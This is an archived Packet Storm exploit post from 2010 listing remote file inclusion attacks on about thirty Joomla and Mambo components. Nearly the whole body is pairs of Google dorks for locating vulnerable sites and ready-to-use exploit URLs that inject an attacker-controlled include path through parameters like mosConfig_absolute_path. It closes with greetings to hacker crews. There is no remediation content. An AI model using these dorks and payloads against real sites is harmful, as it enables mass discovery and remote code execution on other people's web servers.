what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla Components Remote File Inclusion

Joomla Components Remote File Inclusion
Posted Oct 13, 2010
Authored by jos_ali_joe

This advisory documents a large amount of remote file inclusion vulnerabilities in numerous Joomla components.

tags | exploit, remote, vulnerability, code execution, file inclusion
SHA-256 | 58b131c80a539ceae3408fb3b0abcf155b28e84326413db44b9b2eb5a5ab76a6

Joomla Components Remote File Inclusion

Change Mirror Download
#######################################################################################################################################
##
##.___ .___ .__ _________ .___
##| | ____ __| _/ ____ ____ ____ ______|__|_____ ____ \_ ___ \ ____ __| _/ ____ _______
##| | / \ / __ | / _ \ / \ _/ __ \ / ___/| |\__ \ / \ / \ \/ / _ \ / __ | _/ __ \ \_ __ \
##| || | \/ /_/ | ( <_> )| | \\ ___/ \___ \ | | / __ \_| | \\ \____( <_> )/ /_/ | \ ___/ | | \/
##|___||___| /\____ | \____/ |___| / \___ >/____ >|__|(____ /|___| / \______ / \____/ \____ | \___ > |__|
## \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
##
## Exploit By jos_ali_joe Indonesian Coder Team[at]2010. Mail : josalijoe@yahoo.com
##
########################################################################################################################################


########################################################################################################################################


[+] Dork : inurl:index.php?option=”com_a6mambocredits”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_a6mambohelpdesk”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_admin”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_akocomment”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/akocomments.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_artlinks”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_colophon”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_comprofiler”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_cpg”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_cpg/cpg.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_cropimage”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com//administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_extended_registration”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_fm”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_fm/fm.install.php?lm_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_galleria”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_galleria/galleria.html.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_kochsuite”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_linkdirectory”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_loudmounth”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_madeira”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_madeira/img.php?url=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_mambatstaff”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_mambelfish”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_mmp”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_moodle”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_moodle/moodle.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_mospray”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_mospray/scripts/admin.php?basedir=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_multibanners”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_pcchess”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_peoplebook”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_performs”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_performs/performs.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_reporter”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_securityimages”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_securityimages/configinsert.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_admin”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_simpleboard/file_upload.php?sbp=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_sitemap”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_smf”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/components/com_smf/smf.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_uhp”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=[IndonesianCoder]

---------------------------------------------------------------------------

[+] Dork : inurl:index.php?option=”com_webring”

---------------------------------------------------------------------------

[$] ExPLo!T : http://www.example.com/administrator/components/com_webring/admin.webring.docs.php?component_dir=[IndonesianCoder]

---------------------------------------------------------------------------



########################################################################################################################################


Thanks :

./kaMtiEz – ibl13Z – Xrobot – tukulesto – N4ck0 – R3m1ck – jundab - asickboys- Vyc0d – Yur4kha

./ArRay – akatsuchi – K4pt3N – Gameover – antitos – yuki – pokeng – ffadill - Aury – aphe-aphe - Alecs

./Kiddies – pL4nkt0n – chaer newbie – andriecom – Abu_adam – Petimati - hakz – Virgi – Anharku – TeRRenJr

Greets For :

./Devilzc0de crew – Kebumen Cyber – Explore Crew – Indonesian Hacker

My Team : ./Indonesian Coder

NOTE :

[+] kapan ya icha bener2 bisa sayang sama gw . :(










































































































































































Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close